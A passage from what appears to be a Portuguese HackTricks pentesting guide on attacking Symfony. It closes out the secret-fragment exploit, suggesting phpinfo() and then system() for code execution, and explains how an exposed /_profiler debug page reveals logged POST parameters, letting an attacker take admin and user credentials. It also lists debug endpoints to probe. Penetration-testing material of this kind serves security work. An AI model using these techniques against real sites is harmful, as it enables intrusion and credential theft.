&objectForMap=0
|
|
&references=
|
|
&flags=516
|
|
```
|
|
Novamente, podemos tentar com `phpinfo()` e ver se funciona. Se funcionar, podemos usar `system()` em vez disso.
|
|
|
|
_Exemplo de saída usando `Inline::parse` com uma carga serializada_
|
|
|
|
![8](https://www.ambionics.io/images/symfony-secret-fragment/8.png)
|
|
|
|
O exploit, portanto, executará todas as possíveis combinações de variáveis e, em seguida, tentará os dois métodos de exploração. O código está disponível em [nosso GitHub](https://github.com/ambionics/symfony-exploits).
|
|
|
|
## Acessando informações do symfony /\_profiler
|
|
|
|
![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png)
|
|
|
|
Como você pode ver na captura de tela acima, há um logotipo `sf` no canto inferior direito da página. Este logotipo é exibido quando o Symfony está no modo de depuração. Há alguns casos em que este logotipo não aparece, então tente acessar `/_profiler` e você verá a página como mostrado abaixo.
|
|
|
|
![f:id:flattsecurity:20201021204605p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204605.png)
|
|
|
|
Este recurso é chamado de Symfony Profiler, e não há muitas informações sobre este recurso na internet. A intenção deste recurso é muito clara; ajuda a depurar quando há um erro ou um bug. Claro, este recurso só pode ser usado quando o modo de depuração está habilitado.
|
|
|
|
O próprio framework Symfony é muito seguro, mas habilitar o modo de depuração tornará este framework extremamente vulnerável. Por exemplo, o Profiler tem um recurso chamado Profile Search, como na captura de tela a seguir.
|
|
|
|
![f:id:flattsecurity:20201021204624p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204624.png)
|
|
|
|
Como você pode ver na captura de tela acima, você pode acessar todas as solicitações enviadas ao servidor. Ao clicar em hashes no token, você verá que todos os parâmetros POST podem ser lidos, como visto na captura de tela a seguir. Com este recurso, podemos sequestrar as credenciais da conta do administrador e do usuário.
|
|
|
|
![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png)
|
|
|
|
### Outros endpoints habilitados para depuração
|
|
|
|
Você também deve verificar estas URLs:
|
|
|
|
* **https://example.com/app\_dev.php/\_profiler**
|
|
* **https://example.com/app\_dev.php**\\
|
|
|
|
## Referências
|
|
|
|
* [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
|
|
* [**https://flattsecurity.hatenablog.com/entry/2020/11/02/124807**](https://flattsecurity.hatenablog.com/entry/2020/11/02/124807)
|
|
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|